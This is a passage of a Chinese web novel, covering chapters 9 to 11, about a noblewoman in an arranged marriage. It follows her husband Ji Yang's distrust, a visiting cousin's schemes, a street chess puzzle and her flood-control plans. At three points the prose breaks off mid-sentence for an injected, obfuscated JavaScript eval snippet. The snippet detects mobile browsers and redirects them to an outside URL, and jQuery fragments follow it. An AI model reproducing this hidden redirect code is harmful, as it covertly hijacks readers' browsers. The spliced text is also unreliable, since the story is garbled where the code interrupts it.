“多谢竹娘好意。”
席间闲话,姬栩率先开口,语气温和如旧:
“我至今未曾离过汀洲一步。”
“倒是常听人提起凉州,不知那边风物如何?可有什么为人称道之处?”
他话问得轻巧,却带着一丝真实的好奇。
姜辞微愣了一下,眸光微动。
她本以为,姬栩也会如姬阳那般,将凉州视作不愿提及之地。毕竟那处,曾是姬阳为质之地,也曾让姬家与姜氏立于对立。
未料他提起凉州时,语气平静,目光澄澈,竟无半分讳忌之意。
她轻轻颔首,低声答道:“凉州地势绵远,文风极盛。春日里榆关十里桃花,入秋后黄道山有霜林如画。”
“人文之地,讲究清雅风骨,文士多好《楚辞》,妇人喜绣九章入衣……”
她说得并不多,语调也淡,然字字句句中,自带一种清远之意。
姬栩静静听着,唇边浮起一点笑意:
“听你这般一说,倒觉得凉州不止可画,似亦可游。”
他顿了顿,又笑道:
“如今凉州与东阳暂停干戈,局势初定,我却尚无缘踏足。”
“若不嫌烦,日后弟妹可否择些闲时,将你记中的凉州一点一滴说给我听?我愿将你所言之景,悉数落在画中。如此一来,便仿佛我也去过了。”
姜辞望着他,心中一动。
眼前这个温润沉静的大公子,因病困于庭院之内,走不出这座汀洲丰都城墙半步;而他的弟弟,曾踏上她的家乡,所受之苦却无人知晓。
一东一西,一病一伤,一人被困于肉身,一人困于过往。
她眼眸轻垂,低声笑道:
“自然。”
午后日光正暖,竹影斜斜。
姬阳步履匆匆地回了府,身后跟着一位年长郎中。
“先去给我大哥把脉。”他低声吩咐。
脚步方至姬栩院外,正欲抬手让人通传,他却忽然止住了步子。
院门半掩,他的视线穿过缝隙,他看见院中石案旁,三人正围桌而坐——
姬栩、姬云梵,姜辞。
不远处还有婢子伺立,一碟碟饭菜摆得精致清雅,院中飘着饭香。
三人席间偶有低声交谈,姬云梵笑得正欢,姜辞垂着眸应着,偶尔夹一筷菜到姬云梵碗中,姬栩则含笑听着,偶尔替她斟茶。
那画面端然温和,竟像一户寻常人家的小宴,天伦安稳,其乐融融。
姬阳眯了眯眼,目光沉了几分。
唇角轻轻一勾,语气却凉得像刀锋轻拂:
“你们倒是成了一家人了。”
9. 第 9 章
门“吱呀”一声轻响,姬阳推门而入,身后还跟着一位年长郎中。
姜辞一时未及起身,反倒是姬云梵先看见了来人,眼睛一亮,笑着喊道:
“二伯!”
听见喊声,姜辞与姬栩才一同回首望去。
姬阳负手而立,目光落在姜辞与大哥并坐于案、笑语交谈的模样上,眸色一沉,唇角勾起,语气讥讽:
“才进府几日,倒真是不拿自己当外人了。”
“这么快就同我大哥坐在一处,谈笑风生,手脚熟得很。”
姜辞方要开口解释,姬栩却先温声接话,为她解围:
“我这些日子身子不爽,是我请竹娘邀她过来,陪阿梵解闷。”
他语气淡淡,却带着几分不容质疑的温和坚定。
姬阳冷哼一声,抬眸扫了姜辞一眼,冷声道:
“大哥心肠太软,她什么话都能信。”
“这女人心思深沉,留在府中怕不安分,还是少接近得好,免得教坏了阿梵,回头一肚子都是她灌的坏水。”
“她啊,最会算计。”
话音刚落,气氛顿时一静。
姜辞神色未变,只是缓缓放下了筷子。
不等旁人开口,她已起身,面上神色温和、语气有礼:
“我已用过,正好还有些事在身,便不叨扰大哥与都督相聚了。”
她行了一礼,又道:“多谢大哥今日相照。”
说罢转身欲行,刚走两步,衣角却被人拽住。
是姬云梵,他挡在她身前,鼓着脸对姬阳认真道:
“二伯你不许凶姜姐姐!”
姬阳微蹙眉,低头看着眼前的孩子,心中忽然浮出某些往事的痕迹。
他蹲下身来,语气低缓,却藏着几分警惕:
“阿梵,不是所有的女人都像你想得那样。”
“你记着,尤其是我们这样的家族出身,要学会看清人,别让人算计了都不知。”
正当他说着,姬栩已放下筷子,轻声打断:“我也吃好了。”
“让大夫进来吧,先把脉。”
他的声音依旧温润,却带着几分淡淡的不悦。
姜辞回到院中,银霜气鼓鼓地一路跟着姜辞回房,进门便忍不住低声道:
“姑娘,您方才为何一句都不辩解?他那样编排您,旁人若听了,指不定要怎么传您闲话。”
姜辞没有立刻回应,只缓缓褪下外衣,坐在案前的熏炉旁,垂眸理着袖口,像是没听清。
屋内香炉氤氲,烟气缭绕,她神色安静得近乎冷淡。
银霜见她不语,急得跺了跺脚:“就算为了清白,也不该一句不回啊,他说姑娘心思不正、处处算计,简直……简直太过分了。”
姜辞这才抬起眸,唇角微微一动,轻声道:
“我若真在意他,才会急着辩解。”
她话说得极轻,却十分坦荡,神情丝毫没有被姬阳的话影响。
银霜一愣,还待再说,姜辞已起身,步履轻缓地走到窗前,将窗棂微微推开。
春日的风透过窗户吹入屋中,拂过她鬓边发丝,她站在光影交错之中,声音如水:
“他若认定我是算计之人,我说再多也无用。”
“那不如什么都不说,省得显得我还想讨好他。”
她眼中没有怨意,也没有自怜,此刻她只是在想,这样两个不想爱的人的一辈子,真的很漫长。
银霜咬了咬唇,不知该说什么。
而姜辞已转身,重新坐下,翻开了案上让晚娘从府上找来的医书。
与此同时,大夫收拾完诊箱,被姬阳亲自领进姬栩寝房。
房内静极了。
姬栩在案前坐着,衣襟宽松,手腕抬起时露出细瘦的骨节。他配合得一贯温和,没有多言,也不显拘束。
老大夫搭上脉后,凝神片刻,又换了一只手。
姬阳负手立在一旁,目光一瞬不瞬地盯着大夫的动作,声音沉稳低缓:
“如何?”
大夫起身作揖,语气持重:“大公子脉象虚弱,气血不畅,五脏俱有亏损之象。好在近来调养得宜,未有大损,只需守住,如常静养,不可劳神过度便不会恶化。”
姬阳微点头,吩咐左右记下药方,又让人送大夫出去。
屋中只剩兄弟二人,片刻静默后,姬阳才低声开口:
“你这身子,终究还是病了太久。”
他虽语气不动情绪,唇角却紧紧绷着,满是心疼。
姬栩轻轻一笑:
“比起几年前,已好了太多。你只管放心。”
他顿了顿,眼神落在姬阳身上,语气缓和而真切:
“反倒是你……与弟妹成亲不过数日,便处处冷待。她是个好姑娘,若你肯收些锋芒,未必不能过出一份好日子来。”
姬阳眉头一皱,像是被什么刺了心。
他冷笑一声,讥讽的语气几乎是立刻反弹出来:
“大哥,你才认识她几日?就敢替她说话。”
“你忘了?上次被人诓的事,才过多久?如今竟又要我重蹈覆辙?”
语气一出口,带了几分压抑的恼意。
姬栩却只是静静看着他,没有争辩,只缓缓开口:
“是,我是被算计了。”
“可那件事后,我得了阿梵。”
“这一生,能有阿梵……也不算全然不值。”
话一出口,屋内又是一静。
姬阳望着他,眼底的情绪有些复杂。他想说什么,却终究没有开口,安顿叫姬栩好好休息,自己则是甩着袖子离去。
翌日清晨。
阳光才刚洒进庭院深处,姬阳着玄衣,束发利落,正欲出府往督军署。
刚至府门,便见一道小厮匆匆迎上来,拦在他前头。
“都督稍等。”那小厮低声躬身,声音里略带踌躇,“表小姐传信,说过几日会来丰都小住些时日。”
姬阳脚步微顿,眉心不动,语气却一贯简淡:
“这事你找我母亲就好,这事一向是她在打理,不用跟我汇报。”
小厮忙回道:“姬夫人这两日去太平侯府看您表兄去了,要在那边小住了,听说要住上半月。”
姬阳这才想起母亲跟他说要去看表兄的事情,他想了一下,现在府中,大哥病着无法操劳,但是能做这种内宅事情的嬷嬷也跟着母亲走了,只剩下……姜辞。
那小厮见姬阳迟迟不应,面露为难之色,迟疑着答:“表小姐那边已经启程了。”
姬阳神色不显,半晌低声道:“……那你去找我娶的那位新妇。”
“这种事,想必她一个女人家知道该怎么做。”
小厮一听这话,立刻松了口气,连连作揖:“是,是,都督吩咐得是。”
未时过半,小厮便来到了姜辞院中,将此事一五一十回禀了。
姜辞正坐在案前描图,听完也未有多少表情起伏,只淡淡应了一句:
“我知道了。”
小厮点头欲退,走出两步却又想起什么,回头补上一句:
“还有件事……表小姐还带了一位闺中友人同行。”
“想必二人一道过来,日后应当会住在同一处。”
姜辞眉头微不可察地一动,手中描笔却未停,只轻轻道:
“我明白了。”
午后日光正好,姜辞一袭浅色曲裾,领着晚娘与银霜走至府中东南角的一处偏院。
她手执一柄薄扇,神色安然,语调平稳,吩咐下人:
“这一处院落原本空着,如今需重新打理一番,窗棂洗净,帘幕更换,书案、卧榻、香具、屏风,全都要换成新的。”
“墙上空着的地方,挑几幅雅致些的画。”
“记住,用最好的料,但不许过分张扬,既是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361266|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
表亲,礼数要足。”
下人们听得认真,连连应声。
晚娘站在她身后,望着院落中来回忙碌的人,又看了看姜辞,笑道:“姑娘当家第一回,倒是安排得井井有条。”
姜辞轻轻点头,却忽地转过身,看向一旁的年长女仆,语气温和:
“这位表小姐……你可知她是哪位夫人家的?”
那女仆略一迟疑,还是老实道来:
“是姬夫人的外甥女,是沈将军的女儿。”
“表小姐的父亲昔年也是东阳侯麾下的,后来去溪陵守渡口。”
“那时两府常有走动,表小姐与都督小时候是一起长大的。只不过后来搬迁之后,两家渐渐少了往来,也有些年头没见了。”
姜辞不动声色,只轻轻点了点头,又问:
“她性子如何?”
女仆压低声音,有些为难地答道:
“表小姐模样是极好的,待人和善,知书达理,只是跟下人们不太亲近。”
姜辞听完,没有多言,只淡淡一笑,语气如常:
“既是贵客,该用的规矩一样不能少,夜间多备些灯火,以防她夜醒不便。”
说着,回头吩咐银霜:“你去问问厨房,可知道表小姐喜欢吃什么,等她到了,安排即可。”
银霜应声而去,晚娘在旁轻声道:“姑娘安排得面面俱到,旁人看了也挑不出半点错。”
晚上姬阳回来,府中的人跟他汇报今日姜辞在府里安排表小姐的事宜,说完又补充了一句:
“二夫人倒也能干,安排表小姐的院子,事事都打理得体。说来……还真不像个新妇。”
话音刚落,只觉一阵冷风拂面。
他扫了那说话的小厮一眼,语调不疾不徐,凉意却入骨:
“这种琐事,不需要向我汇报。”
是夜,月色沉沉。
姬阳翻来覆去睡不着觉,索性披了外袍出了卧房。
他沿着回廊缓步,走至庭中,正打算顺手取几枚箭羽练手,忽而脚步一顿。
一阵轻笑,从隔壁小院飘了出来。
他本不想理会,怎料那笑声里隐隐带着姜辞的声音,清亮却不张扬,恰到好处地敲在他耳骨上。
他蹙了眉,朝那处靠近几步。
果然是她。
隔着一堵影墙,另一边灯火微明,香气随风飘过,院中三女围坐,设了宵夜,几盏浅酒。晚娘与银霜坐在一侧,姜辞倚在软垫上,发髻松散,眉眼弯弯,竟是难得的轻松模样。
“姑娘自从嫁来,都没这般笑过。”晚娘柔声道,“在紫川时,您每日发粮济民,随大夫走诊,事虽繁,却从不觉得累。如今这日子虽锦衣玉食,却关得像在笼里,叫人心里发闷。”
银霜也笑着附和:“那可不。虽贵为都督,却冷心冷面,还整日不让姑娘出门,我看姑娘没几日就要把这院里多少块砖都数清楚了。”
姜辞轻笑出声,语气却忽而低缓:
“可我用自己一生的自由,换来凉州百姓的平安……这一笔买卖,也不算亏。”
姬阳听到这句,指节轻轻一紧,站在墙后,良久未动。
他闭了闭眼,低声嗤笑:
她困在这院里叫不自由?他没直接把她用铁链锁进牲口圈里就算仁慈了。
次日一早,天光初亮,姬阳站在书房外,唤来侍从越白。
他语气一如往常冷淡:
“去告诉我那位新妇,若她想出府,随她便。”
下人一愣,还以为自己听错了。
正欲确认,姬阳却已转过身,又不紧不慢地补了一句:
“但——”
“你们盯着点她。”
“她每去一处、说一句话、见一个人,都一五一十地回来报给我。”
说完,他收回手背在身后的那一缕微颤,语气依旧平稳:
“别让她知道。”
10. 第 10 章
东阳侯府前,春日和风拂面,朱漆大门半掩,守门侍从分列两侧,肃而不失仪。
辰时未过,一辆马车缓缓驶至门前,车顶覆着绯色罗帐,帘影微摇,隐约可见其中人影晃动。
最先揭帘下车的是一名衣饰华丽的女子,姿容艳冶,额心点缀碧玉坠子,随步摇曳,艳而不俗,明艳逼人。
她姿态轻巧,一手扶车檐,一手掩唇含笑,回首唤道:“寄秋,下车罢,莫拘着了。”
“我那表兄冷是冷了些,但偏吃你这一套,越温顺柔婉,他越招架不住。”
车内随即响起一声轻笑。
帘子再动,便见一女子身着淡绛罗裙、腰束绫带缓步而下,步履娴雅,神色羞怯。她生得眉目和顺、语态轻柔,正是沈如安口中所言的闺中密友。
她小声道:“沈如安,我这样贸然登门……真的合适吗?倘若……倘若表兄已有婚约……”
沈如安掸了掸袖角,语带不屑:“什么婚约?若真有,还能一点风声都没传出?再说了。”
她眨了眨眼,笑意带锋:“就算真有,那姑娘也未必能与你争彩。”
说罢,便揽着寄秋的手,一路朝府门而来。
而此时,府门大开。
姜辞静立于门侧,一袭月白直裾,衣袂清雅,发髻高绾,素而不寡,礼而不弱,身后晚娘与银霜一左一右,神色肃然。
她立在那处,未言未笑。
沈如安原本语笑盈盈,一抬眸,却忽地顿住了步伐。
她盯着姜辞的面孔看了片刻,神情明显一滞,嘴角笑意缓缓凝结。
“这位是……”
她转头低声问小厮,语气中带了几分不安。
小厮低头答道:“回表小姐,这是二公子新婚夫人,府中二夫人姜氏。”
沈如安仿佛未听明白,蹙起眉,又追问一遍:
“你说什么?”
“……都督大人,上月成亲。”
这一次,小厮声音极轻。
沈如安脸上的神色彻底僵住,艳色在一瞬间褪去几分,眼中闪过一丝难以置信的惊愕与空白,呢喃道:
“表哥……成亲了?”
站在她身侧的寄秋轻轻拽了拽她的袖子,似欲开口,却终究未敢言语。
而姜辞,始终站在原地,神情不动,眉眼温和,一礼落定,声音也温柔得体:
“表小姐远道而来,府中已备下茶汤与清室,舟车劳顿,烦请入内小憩。”
语音落定,声如清泉入盏,波澜不兴,却带着府中主母才有的从容笃定。
沈如安刚入院不久,姜辞便命人设了茶案,亲自奉茶。
院中春兰吐香,帘下风动,几盏温酒摆上,细果清点俱备,一切雅致不失礼。
姜辞发上只簪一枝玉梅,让银霜将茶盏奉至沈如安面前,温声道:
“此茶是丰都地道的黄芽,入口微涩,回甘极长,盼你不嫌。”
沈如安接过茶盏,笑意盈盈,眉梢带着三分打量:
“表嫂真是客气,我还以为,您这位新妇一进门便要整日宅在闺阁里呢,没想到打点起人情应酬来,也颇得体面。”
姜辞只是微微一笑,轻声回道:“初来乍到,不懂规矩,若有失礼之处,还请表小姐多担待。”
沈如安端着茶盏,眼神不动声色地扫了一圈院中陈设,随口问道:
“我以前住在这里的时候,这处院落原本空置,现在看着打理得极为细致,你倒是有心了。”
姜辞目光平和,唇边依旧带笑:“自是不敢怠慢表小姐的到来。都是些薄设。”
沈如安笑着点了点头,低头抿了一口茶,忽然语气轻了几分,似是随口闲谈,又像是不经意:
“我记得小时候,表哥最怕人提夫人两个字。”
“他那时候常说,将来谁若逼他成亲,他就把那女子赶出府去。”
姜辞不语,只静静听着,神色澄澈。
沈如安似是等不到回应,又笑着补了一句:
“他性子冷,又不好接近,若没有几分本事,是拢不住他的。”
“表嫂能叫他屈身成婚,也算有手段了。”
姜辞不动声色,缓缓将茶盏放下,笑意温和如水:
“那还要靠婆母偏爱。”
沈如安怔了怔,仿佛没想到姜辞竟将无爱成婚说得如此从容,眼中划过一抹细微的光。
片刻,她又笑了起来,语气似漫不经心:
“我表哥一向风流,他特别招女人喜欢,就我知道的老相好就有好几个。”
她顿了顿,嘴角噙着笑意,语气却轻得刺人:
“想必表嫂还不知道吧?”
姜辞垂眸拨了拨茶汤中的叶脉,声音轻缓,宛若轻风拂过:
“多谢表小姐提醒。”
“不过——”她抬起眸,目光温静却不冷,“能嫁给他才算本事,不是吗?”
这一句落下,连寄秋都轻轻怔住,沈如安笑容一滞,掩唇低笑,却没再接话,只顾低头喝茶。
茶水渐凉,帘影微动。
沈如安忽然抬眸,语气似轻描淡写,却藏了几分不经意的探问:
“对了,大表哥……近来身子可好些了?”
她语声不重,眼神却落得极稳,带着几分按捺不住的期待。
姜辞眸光微转,唇边依旧含着礼数周全的笑意,答得温和:“前几日见着他,精神头还算不错,想来应是渐好。”
沈如安闻言这才点点头,指腹在茶盏边沿轻轻摩挲了一圈,忽地放下茶杯,起身整理衣摆,笑着道:
“那便好。多谢表嫂招待,茶点也极合我口味。”
她语气一顿,微微侧身,“我就不多叨扰了——我想着,还是去看看大表哥。”
说罢,轻提裙裾,步态悠然,笑容里却藏着丝丝藏不住的心意。
姜辞只垂眸轻抚茶盏,低声一笑:
“表小姐慢走。”
姜辞回到院中,卸下簪花,随手将外袍搭在榻上。
银霜端来温水伺候她净手,轻声道:“姑娘今日辛苦了。那位表小姐……瞧着不好相与。”
姜辞擦了擦指尖,笑意淡淡地掠过唇角:“无妨,不过是场迎来送往。”
她顿了顿,将帕子放下,语气不重,却带着些许疏阔:“银霜,都督既然松了口允许我出府,我们总算不用整日困在这深墙大院中坐冷板凳了。”
银霜一愣,随即会意,笑着应了声:“可不就是么。”
与此同时,另一边。
沈如安与寄秋穿过垂花回廊,缓步朝姬栩所居的竹院走去。小径清幽,风过竹影婆娑,地上落着斑斓光影。
寄秋低声道:“沈如安啊,你这位表嫂,确实不好对付。”
沈如安“啧”了一声,嗤笑着摇头:“怕什么?我打听过了,表哥对她并无情意,那女子不过是凉州换来的棋子,两人之间水火不容。”
她边说边抬手理了理鬓发,目光微亮,语气带着点兴奋与算计:
“你放心,我自有法子。回头我设个局,安排个英雄救美的戏码,让你与二表哥多些来往,情之一事嘛,久处生情,哪有拿不下的理儿?”
寄秋有些迟疑地张了张嘴,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361267|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却终究没劝出口。
二人说话间,已至姬栩院前。
院门未掩,风吹帘动,只见院中竹树间立着一人,身形修长,身着素色家常衣袍,袖角微拂。
他正将一只画好的纸鸢轻轻收起,指腹拂过纸上鹰眼的墨线处,神色温和而专注。
沈如安望见那人身影,眼神瞬间亮了几分,连步子都悄悄快了一些。
一别五年,他还是那样好看,还是那样让人移不开眼。
那是她年少时的执念,是竹影疏窗下的第一抹心动。
而如今,她回来了,她不打算再错过。
“子叙表哥!”
沈如安唤得欢快,语中带着一丝难掩的雀跃。
姬栩闻声回头,眉目轻展,唇角含笑:
“沈如安?你怎么来了?姨母近来可安?”
“好着呢,念叨着你呢。”沈如安快步上前,语气熟稔。
她絮语几句后,才回头将身后的女子拉上前来,笑着介绍道:
“这是我闺中好友,名唤寄秋,一同来丰都小住些日子。”
寄秋微微福身,行礼得体:“见过世子。”
姬栩颔首回礼,神色温润,语气依旧温和:
“既然来了,便一起坐坐吧。”
他吩咐道:“去备茶。”
丰都傍晚,天光尚未沉暮,城中尚有余晖。
姜辞站在廊下,望着院中竹影婆娑,轻声道:“总不能日日困在这院子里,我想出去走走。”
银霜闻言,眼中一亮,旋即笑着去取披风:“姑娘稍等,我这就替你拿件防风的。”
一件青灰色的织锦披风覆上肩头,姜辞执伞而行,银霜随身相伴。二人自东阳侯府后门而出,缓步行至街巷。
这是她自入丰都以来,第一次出府。
街市尚未散,春日的市井透着热气与烟火,石子铺就的小巷里摊贩林立,纸鸢高悬、香粉入鼻,远处还有茶棚传来评书说唱。
姜辞一路走得缓,目光一扫,皆是新鲜。与紫川不同,丰都多文馆雅集,街头常见学子谈诗论史。她微微驻足,神情澄澈,眼中流露出一丝初见的兴味。
她不动声色地扫过四周,却不知她一身月白衣裳,眉目生辉,恰如春雪初晴、兰心玉骨,早引得街上行人频频回头。
有人低语:“那是谁家的贵女?”
“我怎觉有些面生……”
忽然,前方传来一阵喝彩与喧哗,银霜撑伞望去:“姑娘,前面那处,好像是棋社。”
姜辞顺势看去,只见街角一处屋檐下人头攒动,棋社门口挂着一块墨匾,字迹清逸:“逸枰斋”。
门外立着一张榜,上书:“破此残局者,赠清玉笔一支。”
那玉笔陈于屋内案上,通体温润,如凝霜雪,笔尾雕着两行细篆,工艺雅致,显然出自名手。
姜辞颇为喜欢。
她轻声问道:“此局可允旁人一试?”
话音一落,原本围观的几位文士皆回头看她,神色微变。
“姑娘,这里可不是赏花摆诗,哪里容得女子胡闹?”
“风头再盛,也不能坏了棋场清雅。”
姜辞闻言不恼,只轻轻一笑,语气沉静:
“世间才情,本无贵贱之别。班昭能修《东观汉记》,蔡文姬可通音律百篇。若因女子之身,便断人一试之机,未免狭隘了些。”
围观众人面露讶色,尚未作声。
这时,帘子后一人开口,声线清冷含分寸,语调虽不高,却压住了场内所有喧哗。
“让这位姑娘,一试。”
11. 第 11 章
棋局方开,四座却已肃静。
姜辞落座之后,只看了一眼那案上的棋盘,便不急着动手,而是抬眸向围观众人问道:“不知此局是否有人留下解式?”
有人嗤笑:“此局乃是东阳第一士子设下,谁敢轻言破法?”
“前后已有六位落子,全军覆没。”
姜辞听后,神色未变,只伸手拂过棋盘,十余颗残子错落其间,黑白交叠如云卷水涌。
她指腹轻点棋盘,缓缓而语:“此局看似困兽犹斗,实则藏锋于弱……此处三子若非故意让空,怎会留这么一线生机?”
言罢,她落下第一子,一子封喉,竟将角落原本困守的白子连通成势。
众人面面相觑,局势开始转动。
她第二子、第三子皆如抽丝剥茧,落子不急不缓,却每一手都精准切入,原本被视为死局的棋面,竟在她手下慢慢生出一线清河,横流出奇。
帘后,一道修长身影起身。
那人身着深青直裾,佩玉无声,缓步走出。
他眉目清隽,气度从容,手执一柄白纸折扇,立于众人之后,目光静静落在棋盘之上,又落回姜辞脸上,眸中多了几分意味未明的打量。
“此局,是我所设。”
“夫人,妙手。”
姜辞闻声缓缓抬眸,正对那人。
他手执折扇,面容清俊温润,气质从容有礼,正是那日她入丰都城门时,言出“美人误国”之人,差点因他一句话,定了自己的生死。
她垂眸敛神,微微颔首,语气不轻不重:
“原来是陆司马。我不过是因一物起意,倒是扰了您的清趣。”
陆临川神色不变,只含笑:“扰倒不敢言,夫人落子极妙,解我困局,是我陆某之幸。”
姜辞唇角淡淡一抿,目光微凉:
“司马大人既知是困局,何必设之于市?”
陆临川轻摇折扇,淡笑:“困局原是用来破的。若无高人一落,困局永远是困局。”
“更何况,有些局,是设给懂棋之人看的。”
姜辞听罢,只淡然应声:“可惜我不通兵谋,只懂些旧书冷局。倒叫司马大人白白折了一子。”
这话一出,语带讽意,是对那日初见他一句轻描淡写的“美人误国”的回应。
四周文士听不出端倪,陆临川却听得明明白白。
他眼中神色微动,忽然想起那日初晴,她将剑横在脖子上,视死如归的模样。
今日落子如风,字字不退,唇锋如刃。
他收了扇子,低声道:“夫人心中,果然不止棋理。”
姜辞并不接话,只略一垂首,拂袖转身。
姜辞淡淡对着银霜开口:
“我们走吧。”
她步履不疾,两步已出门。
这时身后忽然传来陆临川的声音,依旧温文却不失分寸:
“夫人,您的笔。”
姜辞脚步微顿,稍一偏头,回身折步而回。
她走近,未言谢,只伸手接过那支玉笔,手势利落,更像是夺,而非取。
指尖碰触的一刹,她眸光微冷,眉间一线疏霜,眼也未多看陆临川半分。
转身,衣袂掠起一线冷风,她未留下只言片语,亦未回眸。
陆临川立在原地,折扇垂于手侧,望着她离去的背影,轻轻一笑,喃喃一句:
“性子倒是……个辣的。”
丰都督军署,暮色已深。
姬阳正倚在案前,右手支颊,左手执笔轻敲舆图,眼神落在西北边境一线,眉间褶痕未展。
陆临川披着暮气入内,手中仍转着那柄白骨折扇,一进屋,便笑吟吟地说道:
“主公,你猜我今日在棋社遇见了谁?”
姬阳懒懒地回一句,眼皮都未抬:“你向来挑剔,能让你亲口说起的人,想必不是寻常角色。”
陆临川轻摇折扇,笑意半真半假:“确实不是寻常之人。是个妙人。”
姬阳手中动作顿了一下,目光仍未动,只淡淡问道:
“你向来不喜多言,如今却连‘妙’字都说出口……说来听听,是谁?”
陆临川将扇子轻敲掌心,“可我记得,你说她是个呆板无趣的人,如今,我瞧着倒是有趣。”
姬阳眉头轻动,终于抬眸看他一眼,语气凉淡:“我何时说过别人呆板无趣?”话音刚落,姬阳愣了一下,嘴巴张了张,始终念不出那个名字。
陆临川挑了挑眉,笑意不减:“看来你猜到了?”
“不错,我遇到的——就是你那位新近娶进府的夫人。”
姬阳目光一顿,指尖在舆图上一滞,语气仍稳,却难掩眉锋中一丝凌厉:
“怎么,一盘棋就夸上她了?若是再肯陪你饮两杯,你是不是要请她入督军署,纳为贤士了?”
陆临川轻笑未语,只折扇轻摇:“就算我要用,主公敢用乎?”
话音未落,姬阳冷哼一声,语气锋利:
“我看你们一个个,都被她那张脸给骗了。”
话一出口,他似觉多言,起身舒展了一下肩背,语调一转:
“别聊她了。”
“现在真正要紧的,是宁陵近来的水患。”
他指着舆图上丰都南侧的水道开口:
“今年自春起降雨频繁,芒种未至,水位已高过去年同期半尺。若这势头不止,到了仲夏一场暴涨,极有可能冲垮南堤,浸没东集与两处军粮仓。”
陆临川闻言收了扇子,走到他身侧,目光扫过图上标注的水系河道,沉吟片刻,开口道:
“宁陵位于洛渠之南,背靠密林丘陵,雨多则汇水急。若强筑高堤,未必挡得住突发水暴。”
“不如仿照溪陵旧策——分渠引流,外泄洪势,再于南堤与东南角各开一引水口,引入旧渠,再通入西岸弃田,使水有去处。”
他顿了顿,又补了一句:
“至于军仓,可筑夹堤双层,夹心掺沙卵石,加筑瓮口排水,虽耗人力,但若能撑过一季,秋收时再全面修缮,便无大患。”
姬阳闻言点头,拇指轻叩桌面,眸色微深:
“你说得对,强堵不如巧引。调兵调民都需提前布署,明日你拟个章程出来,我批了交由司农、工曹。”
陆临川作揖一礼:“诺。”
夜色沉沉,丰都东阳侯府内一片寂静。
姬阳回府稍晚,踏入中庭时天已深,肚子咕咕的叫了两声,他并未直接回房,而是缓步走在回廊间,袍袖微扬,月色将他身影拉得细长。
恰在转角处,他无意间朝右手侧一望,便看见姜辞的院中灯火未灭。
院内一盏宫灯摇曳在门口,微风拂过,光影斜落院内的石板上,映出一道纤细的人影。
她竟趴在院中案几前睡着了。
案上摊着纸笔,几页信笺被风翻起,披风落在地上,袖口微卷,鬓发凌乱。
姬阳脚步顿了顿,本不欲理会,转身欲走,却在提步之际忽而想到,如今母亲不在府内,府中能主内务之人也只剩她。
若是当真着凉生病了,后宅失了管束不说,传出去也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361268|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难听。
他回身走进院中,沉步未响,立在她身侧片刻,本是想叫她起身,却瞥见案几上一幅舆图。
他眉头轻蹙,低头细看。
那是东阳水道图。
笔墨未干,山势走向、水脉分布,皆绘得精细有致,不输工曹所造。
一旁还有几本翻阅过的地理古籍,封面字迹清晰:《洛渠旧水志》《宁陵灾记》。
最上方,压着一叠摊开的手记,字迹沉稳娟秀,写的正是关于宁陵分洪的设想。
他翻开一页,目光逐行掠过。
她写得极细:堤口水压如何分段,西南弃田引流若设栅闸,如何调民分力,何处添仓囤粮,甚至连调兵防御雨中盗袭的应急预案都想到了。
姬阳神情渐沉,手指也不觉紧了几分。
这女人……怎会知得如此之详?
片刻,他似想起什么,眼底闪过一丝阴翳,冷笑一声:“呵。”
她倒是深思熟虑,可惜,未必是为了他。
他将手记啪地一声丢回案上,想着,说不定这一切,都是做给他看的。
没准儿她是要将这些送回凉州,好让那边来扰他治水。
砰——
那一下声响惊醒了熟睡中的姜辞。
她猛地抬头,睡眼朦胧间,便撞上一双如寒冰般森冷的眼。
她怔了怔,神情还未回神,姬阳已经收回视线,冷冷开口:
“你倒好算计,连我大营未定之策都未必筹得这般周密。”
“说,你究竟在图什么?”
姜辞被那声重响惊醒,尚未完全回神,便对上一道冷得几近森然的目光。
她怔了一下,下意识将案上的笔收好,整了整袖口,才缓缓开口,语气平静如水:
“我只是瞧着近些日子雨水增多,今年东阳极可能雨势过重,恐有水患。”
“若水患成灾,田土被淹,仓谷不济,百姓便要背井离乡……一旦变成流民,哪里还有余粮可发?现下战乱,粮草本就短缺,他们哪里还有地方可安?”
她看着姬阳,语气并不激烈,却字字带着分量:
“所以,我才想了这些法子。”
“至于你疑我……我知道你从未信过我,也不必信我。”
她顿了顿,轻轻一笑,眼中却透出几分疲惫后的清明:
“但你若真要问我在图什么,我图的是,那些人别再因为水患无家可归。”
夜风轻卷,灯火摇晃,那一刻,她眼中没有求情,也没有讨好,只有一种近乎固执的笃定。
姬阳站在她身前,居高临下望着这张素面朝天的脸,神情微怔,一时竟哑然无语。
他本想冷笑,嘴角却迟迟未扬起,憋了半晌,才终于吐出一句:
“说得倒是好听。”
